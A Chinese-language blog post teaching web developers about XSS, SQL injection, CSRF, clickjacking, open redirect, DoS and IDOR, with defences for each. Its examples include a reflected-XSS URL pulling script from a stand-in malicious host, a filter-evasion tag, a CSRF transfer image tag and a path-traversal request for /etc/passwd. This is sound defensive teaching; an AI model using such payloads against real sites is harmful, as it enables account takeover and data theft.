身為 Web 工程師,你一定要知道的幾個 Web 資訊安全議題

莫力全 Kyle Mo
Starbugs Weekly 星巴哥技術專欄
19 min readDec 14, 2020

身為一個 Web 工程師,我們也許非常注重使用者體驗與網頁效能,希望使用者可以在使用產品的時候感到愉悅,也希望網頁無論是資源的載入速度或是頁面的渲染,甚至是後端 server 的效能,都可以盡量追求最佳化,然而如果忽略了網站的安全性,以至於服務上產生許多漏洞,讓不法之人可以趁機攻擊,那麼使用者體驗再好,效能再快的網站,都是脆弱 (Vulnerable) 且不及格的 。

資訊安全是個非常廣大的領域,涉及的層面也很深,身為 Web 工程師,我們也許不能像電影裡的駭客一樣在終端機輸入一堆指令就入侵系統,但是我們卻有我們「可以」也「應該」要知道的資安議題,確保我們開發出來的服務是安全的,既可以保障公司的權利,更保障使用者的權益。而這篇文將會以 Web 工程師的角度出發,說明一些我認為 Web 開發者應該要知道的資安議題,內容會包括:

  • XSS (Cross-site scripting)
  • SQL Injection
  • CSRF
  • ClickJacking
  • Open Redirect
  • DOS
  • Insecure Direct Object Reference Vulnerability

XSS (Cross-site scripting)

XSS 是 Cross-site scripting 的縮寫,在 web 應用中,它也可以算是範圍最大且攻擊方法最豐富的一個資安議題。XSS 主要是利用在輸入欄位輸入 JS 的 script tag來造成攻擊,透過在輸入框輸入一些特殊語法,規避掉字元的規則(或是程式本身沒有做好字串驗證),使原本應該是單純字串的部分,變成可以執行的程式碼,與下一個要介紹的攻擊類型 SQL Injection 可謂有異曲同工之妙。

而 XSS 又可以分為三種常見類型:

  • Stored
  • Reflected
  • DOM Based

Stored XSS

Stored XSS 儲存型 XSS,顧名思義就是可以把 JavaScript 程式儲存在後端資料庫裡,例如在留言板程式中,使用者理應可以輸入任何想輸入的話,如果使用者輸入的是 <script>alert(‘你被攻擊啦!’)</script>,當這段文字被送出並建立留言時,這段 script 會被儲存到後端資料庫中,當留言板的其他使用者重新載入想看其他人的最新留言時,這段 script 便會從資料庫被抓出來,如果應用沒有做好字串的解析與特殊字元的防範,也就是說瀏覽器不會把 script 當成一般字串,而是一段程式,瀏覽器便有可能直接執行這段 script,也就是留言板使用者都會跳出 alert。

當然 alert 聽起來很弱,不過如果是其他更有威脅性的攻擊,所有使用者都會遭殃的,因此 Stored XSS 可以說是三種 XSS 中殺傷性最大的一個。

Reflected XSS

反射型 XSS,攻擊方式為將 script 藏在 URL 網址列中,並透過 GET 參數傳遞,例如:

http://localhost:8080/reflected-xss-demos/?username='><script src='http://malicious-site.com/malicious.js'></script><a href='

上面的範例將事先寫好的 malicious.js 檔案放在 url 的 username param 中,該檔案可能是盜取帳號密碼、盜取 cookie 等惡意操作,當使用者點擊後就會被執行。

不是啊!上面那串 URL 也太明顯的可疑了吧?你當使用者都是塑膠做的嗎?

沒錯,這樣實在太可疑了,因此通常這樣的 URL 都會經過 URL encoding 或是短網址服務,讓網址看起來「稍微」沒那麼可疑。

http://localhost:8080/reflected-xss-demos/?username=%22%3E%3Cscript+src%3d%22http://malicious-site.com/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22

將 URL 編碼之後,攻擊者通常會透過將網址放到留言板或是其他吸引受害者的方式(例如廣告信件),誘導受害者點擊連結來進行攻擊。

DOM Based XSS

DOM Based XSS 與前兩者的差別是前兩者需要在 server side 防範,DOM Based 則需要在 client side 防範。如果頁面中使用了如 innerHTML 等語法,就有注入 JS 程式碼的機會,而如果可以注入 JS 程式碼就有可能造成 cookie 資料被偷走傳到攻擊者的 server。例如攻擊者可以放入一個被隱藏看不見的 img element,不過該 img 的 src 放的是一個「攜帶 cookie 資訊的請求」,如此一來攻擊者的伺服器就可以拿到被攻擊者的 cookie 了。

如何防範 XSS ?

既然 XSS 是利用輸入惡意指令來攻擊的,那麼字串的輸入與輸出就成了防範 XSS 的最佳時機了。

輸入時的防範

一般來說,我們可能會很直覺的想到,那就限制使用者不能輸入像是 <script> 的字串就好了啊(舉例來說,發現 <script> 就把它砍掉),這時候聰明的駭客就會開始鑽字元檢查的漏洞了,例如駭客輸入 <scr<script>ipt> 就還是可以成功造成 XSS。另外並不是只有 script tag 會造成 XSS,例如 img element 的 src 就是另一種方式。因此看來建立輸入的黑名單是不太可行的做法,白名單確實比黑名單還要好一點,不過總會容易有疏忽的規則,因此總體來說,在輸入端做驗證來防範 XSS 似乎不是一個很好的做法。

輸出的 encoding

當然輸入驗證還是可以做,就是多一層保障,不過輸出的 encoding 才是解決 XSS 的根本之道。原因是讓瀏覽器不會任意執行 JavaScript code。

例如 Stored XSS 提到的存到資料庫的 script

<script>alert('xss')</script>

在輸出時經過編碼後會變成

&lt;script&gt;alert(&#x27;xss&#x27;);&lt;/script&gt;

讓瀏覽器會把它當作純文字,而不是可以執行的程式。

除了 JavaScript 以外,URL, HTML, CSS, XML 可能也有做輸出 encoding 的需要,因為駭客可以做 XSS 的管道太多了,漏掉了一個就是不安全,也因此 XSS 可以說是最受駭客歡迎的攻擊手之一。

(題外話,現今許多框架都已經內建了 XSS 的防範機制,例如 React 的 JSX 語法就會在渲染前把內容都轉換成字串,詳情可以參考這裏)

SQL Injection

中文翻為 「SQL 注入」,發生在使用者在網頁中的輸入欄位輸入包含惡意的 SQL 指令的字串時 (更改語法邏輯或加入特殊指令),若網頁服務沒有做好字元的判斷與處理,背後的 database 會直接接收使用者輸入的 SQL 指令,可能造成的損害有例如攻擊者可以獲得其他使用者的個人資訊,又或者是可以惡意刪除、修改資料庫中的資料,嚴重的話甚至可以讓被攻擊的企業直接倒閉,是一個急需注意的安全漏洞。

以最常見的登入為例子,使用者需要在輸入框中輸入正確的帳號與密碼才能成功登入並獲取特定使用者的資訊,不過如果系統沒有做好對字元的檢查的話,駭客便可以在輸入框注入惡意的 SQL 語句,造成在不知道正確密碼的狀況下依然可以從資料庫取回使用者的資料並成功登入,如此一來便暴露出更多的風險能讓駭客利用。假設登入時表單送出的 endpoint 打的 SQL query 是以下這樣:

SELECT * FROM users WHERE email = `${email}` AND password = `${password}`

如果駭客在登入的密碼欄位填入以下的字串

那實際上的 SQL query 會長這個樣子:

首先「’」單引號的作用是將 password 的 input 方塊內容關閉,接下來 or 1=1 因為恆正,所以都會回傳 true,最後的兩條橫槓則是將後方接著的 query 註解化,讓後面的指令不會執行,如此一來就算不知道正確密碼的狀況下,攻擊者仍然可以取得 Kyle 的個人訊息,甚至也可以因此登入成功 ,利用登入後的權限做更多惡意的行為(可想而知這隻帳號基本上就掛掉了)。這也就是常被稱為 Authorization Bypass 的 SQL Injection 攻擊。

除了上面這種取得不該被取得的資訊的攻擊以外,有的攻擊者也會利用字元漏洞直接注入可以改變資料庫資料的惡意 query,例如 DROP Table、或是 DELETE 資料等等,真的非常可怕!

SQL Injection 如何防範

現在我們知道 SQL Injection 的可怕了,身為 Web 工程師,我們總是希望可以靠自己的力量來預防這種攻擊,既然這種攻擊是攻擊者透過鑚一些字元規則漏洞,輸入一些惡意組成的字串來期望資料庫執行,首先我們該做的就是「不要輕易相信使用者輸入的資料」。以這個意識為前提下,我們可以做的有:

  • 提前限制輸入字元格式並檢查輸入長度,再對進入資料庫的特殊字符進行轉譯處理,或編碼轉換。
  • 使用 Regular expression (正規表達式,Regex) 驗證並過濾輸入值與參數中惡意代碼,將輸入值中的單引號置換為雙引號。
  • 不要直接拼接 SQL 語句,盡量以「參數化」的方式產生資料庫最終會執行的 SQL query(大部分的 ORM 都有做這件事,因此有人會說使用 ORM 比起直接下 SQL query 還要安全一點),不僅較安全,效能也會比直接拼接 SQL 還要來得好。(關於參數化查詢,可以參考維基百科的資料,覺得還蠻淺顯易懂的。)
  • 除了針對字元的檢查之外,設定資料庫中使用者的帳號權限,限制某些管道使用者無法作資料庫存取也是一個防範的做法,就算被攻擊也可以盡量把傷害降到最低。

CSRF

CSRF 的全名為 Cross Site Request Forgery,中文名為「跨站請求偽造」,也被稱為 one-click attack 。CSRF 常常與 XSS 被搞混,不同於 XSS 利用的是使用者對網站的信任,CSRF 利用的是網站對使用者「網頁瀏覽器」的信任,也就是利用瀏覽器的 cookie 機制來製造攻擊機會。

舉個例子,假設今天我開了一家網銀(做夢😂),網銀網站提供讓使用者轉帳的服務,使用者在登入後進行轉帳操作,實際發出的 request 會類似於這樣

https://kylemobank.com/withdraw?account=you&amount=1000&for=harry

於是我便成功轉了 1000 元到 Harry 的帳戶裡了,不過如果同一時刻好奇的你點開了駭客貼在社群網站上的惡意網頁(當然你不知道這是惡意網站),萬一裡面有個 img 的 tag 是長這樣子的

<img src="https://bank.example.com/withdraw?account=you&amount=1000000&for=badguy" />

於是好奇心雖然不能殺死貓,卻可以殺死你,在你點開網站的瞬間,因為剛剛對網銀登入做操作,所以登入資訊還沒過期的狀況下,網銀服務會以為是你本人發起的請求,於是你就白白轉了一百萬給了 badguy。

透過以上悲慘的例子可以得知:

攻擊者不能透過 CSRF 攻擊獲取被攻擊者的帳戶控制權,也不能竊取使用者的個人資訊,但卻可以欺騙瀏覽器,讓瀏覽器以為某些行為是使用者本人的操作行為。

CSRF 的防禦

透過一個簡單的例子我們就見識到 CSRF 的可怕,因此該來學學如何防禦這個可怕的攻擊了!

使用者可以做的防禦方式

如果你害怕網站的工程師耍雷沒辦法保障你的安全性的話,最直接的方法就是每次用完服務都手動登出,就不會有登入 session 被利用到 CSRF 的問題,不過每個服務用完都登出也太不方便了吧?沒有人想用任何服務都得每次重新登入吧!所以最好的防禦方式還是該交給 server side 處理。

Server Side 的防禦

CSRF 的前個字點出了這個攻擊的重點 — Cross Site。

因此要解決 CSRF 攻擊,應該要區別發出請求的 domain 是不是從與服務同一個 domain 或者是白名單中發出的(攻擊者的網頁可能是任意 domain)。

常見的防禦方式有以下幾種:

  • 檢查 request header referer
  • 加上圖形驗證機制
  • Double Submit Cookie
  • 加上 CSRF Token (許多 framework 如 django 內建都有提供 CSRF Token 的機制)
  • SameSite Cookie

至於每個防禦方式的細節,我認為胡立的這篇文章已經講解得十分詳細了,有興趣的讀者一定要去拜讀一下。

其中我認為最值得好好研究的是 SameSite Cookie 這個機制, 雖然目前不是所有瀏覽器都支援,不過未來其他瀏覽器很有可能跟進這個機制,畢竟瀏覽器造成的問題,如果能在瀏覽器本身自己解決是再好不過了,各位讀者可以關注一下它的未來發展。

ClickJacking 點擊劫持

clickJacking 是 client side 的一種攻擊方式,簡單來說就是把惡意的連結或用 iframe 嵌入的頁面隱藏起來,讓使用者在不知情的狀況下點擊該惡意連結或進行特定操作。舉例來說駭客可以用 iframe 把銀行的登入頁面與其他造假內容一起放到頁面中,再利用 iframe visibility 的屬性把銀行登入頁面隱藏起來,使用者看到的只有造假的頁面,例如「你中獎了!」等吸引使用者的內容,再誘導使用者輸入帳號密碼,實際上使用者登入的是銀行的網站,駭客因此得以獲取該使用者的銀行帳號密碼與存取權限。要防止點擊劫持攻擊,就得限制網站可以被以 iframe 形式嵌入的情境。

而要限制網站被以 iframe 嵌進其他網頁,主要有兩種解決方式:

  • X-Frame-Options
  • Content Security Policy

這兩種解法其實都是在 http 的 header 加入對應的 key value,例如:

X-Frame-Options: deny // 禁止網頁被嵌入
X-Frame-Options: sameorigin // 限制同來源才可嵌入
X-Frame-Options: allow-from some origin // 以白名單的方式准許特定網站可以嵌入此網頁
Content-Security-Policy: default-src 'self';
Content-Security-Policy: default-src some origin;

想詳細了解這兩個規則,可以參考 X-Frame-Options 的 MDN 文件 CSP 的 MDN 文件。

Open Redirect

中文稱作「公開重定向」,redirect,也就是轉址,是網站非常常見的一個功能,例如:

https://kylemo.com/open-redirect-demo?url=other-sime.com

不過如果應用沒有做好驗證規則,攻擊者就可以讓連結 redirect 到他們的釣魚網站,來進一步盜取用戶的資訊。

https://kylemo.com/open-redirect-demo?url=bad-fish-site.com

為了避免有心人士利用轉址功能把用戶導到釣魚網站,常見的方式有

  • 乾脆直接關閉轉址功能
  • 限定轉址的白名單網站

有了白名單的限制,就算攻擊者想把用戶導向釣魚網站,伺服器也就會把它擋掉囉!

DoS

DoS 的全名為 denial-of-service,中文名稱為「阻斷服務攻擊」,也被稱作「洪水攻擊」,主要原理為利用短時間且大量的請求,導致被攻擊目標耗盡系統與網路資源,白話來說就是讓服務「炸掉」,使正常使用者沒辦法正常訪問該服務。如果駭客利用兩個或以上被攻陷的主機,對目標服務進行阻斷服務攻擊,這種情形被稱作分散式阻斷服務攻擊 (distributed denial-of-service attack),也就是廣為人知的 DDoS 攻擊。

Dos 與 DDos 的防護方式基本上可以利用:

  • 防火牆
  • 交換機
  • 路由器
  • 流量清洗

不過身為 Web 工程師,我們似乎不太有調整硬體的設備的機會,況且這些也是在職責以外的領域,因此我們可以注重在 application layer 的流量清洗這個方式上,也就是控制進入服務的流量,把惡意的請求拒之門外。其實做好 rate limit (也就是速率限制,用於控製網絡接口控制器發送或接收的請求的速率) 不只是為了防止 Dos 攻擊,更是要確保服務的穩定性與效率,畢竟服務有可能在其他非惡意的狀況下遇到高流量的狀況(例如雙 11、搶票),到時候服務被一堆「正常」的請求搞到癱瘓也是有可能的。常見的 rate limit 方式有例如針對特定 ip 的限制,如果一段時間同個 IP 的請求數量過多,就擋下該 IP 接下來的請求一段時間或是加到黑名單。除此之外還有很多不同實作 rate limit 的演算法,例如 Leaky Bucket 或是 Sliding Window…等,有興趣的讀者可以參考這篇文章

Insecure Direct Object Reference

Insecure direct object references (IDOR) 原本在 OWASP 排名中是自己獨立為一個攻擊類別的,但在後來則被歸類到 Broken Access Control 的範圍中。IDOR 指的是網頁服務利用一個識別單位(例如 id)來獲取一個資源,但在沒有完善的檢查機制與權限控管下,攻擊者有可能直接獲取到其他使用者的資訊。例如通常網頁會在 URL 的 query string 中帶上 id 來識別現在訪問的資源的身份是什麼

https://kylemo.example.com?userId=123

這時候惡意攻擊者也許會嘗試改變網址中的 userId,如果應用沒有做好權限控管,可能簡單的抽換 query string 的行為就能訪問到不屬於自己權限範圍的資源。

除了 query string 以外,有些網址會直接把 file name 顯示在網址列,例如

https://kylemo.example.com/display_file.php?myfile.txt

如果權限控管沒做好,也許可以透過改變 url 讀取 sensitive 的檔案,例如

https://kylemo.example.com/display_file.php?../../../etc/passwd

要避免 IDOR 最有效的方式就是做好嚴格的 access control,另外有一說法是盡量不要使用好猜的識別符號,例如 id 改成 uuid,讓攻擊者沒辦法隨便靠更改 query string 就取到自己權限外的資源,不過這樣的風險還是存在,畢竟只要有猜中的可能,風險就一定存在,因此最實際的還是做好權限控管囉!

(題外話,現在許多 framework 例如 ruby-on-rails 或 django 預設都已經幫我們處理好 IDOR 囉!)

文章小結

在這篇文章中,我們介紹了 7 種 web 應用常見的 security issue,不過其實 web 領域還有許多資安問題是這篇文章沒有機會介紹的,並且其實攻擊的形式百百種,不一定每種攻擊都有自己的分類、自己的名字,要知道沒有絕對安全的網站、服務或系統,駭客會想盡辦法找到漏洞來發動攻擊,工程師則必須想盡辦法讓服務更加安全,這也正是資安攻防吸引人的地方。身為 web 工程師,我們該做的就是提升自己的資安意識與敏感度,在開發的同時就應該要考慮到系統的安全性,例如密碼不能存明碼、敏感資訊的權限控管…等都是必備的思維,平常也該多關注近期常出現的攻擊方式,例如 OWASP Top 10 Attacks 就是一個十分好的參考,提升自己的資安意識後,之後就算遇到 security issue ,一定也可以迎刃而解,打造出更加安全的系統。

其他 Web 相關資安議題與參考連結

--

--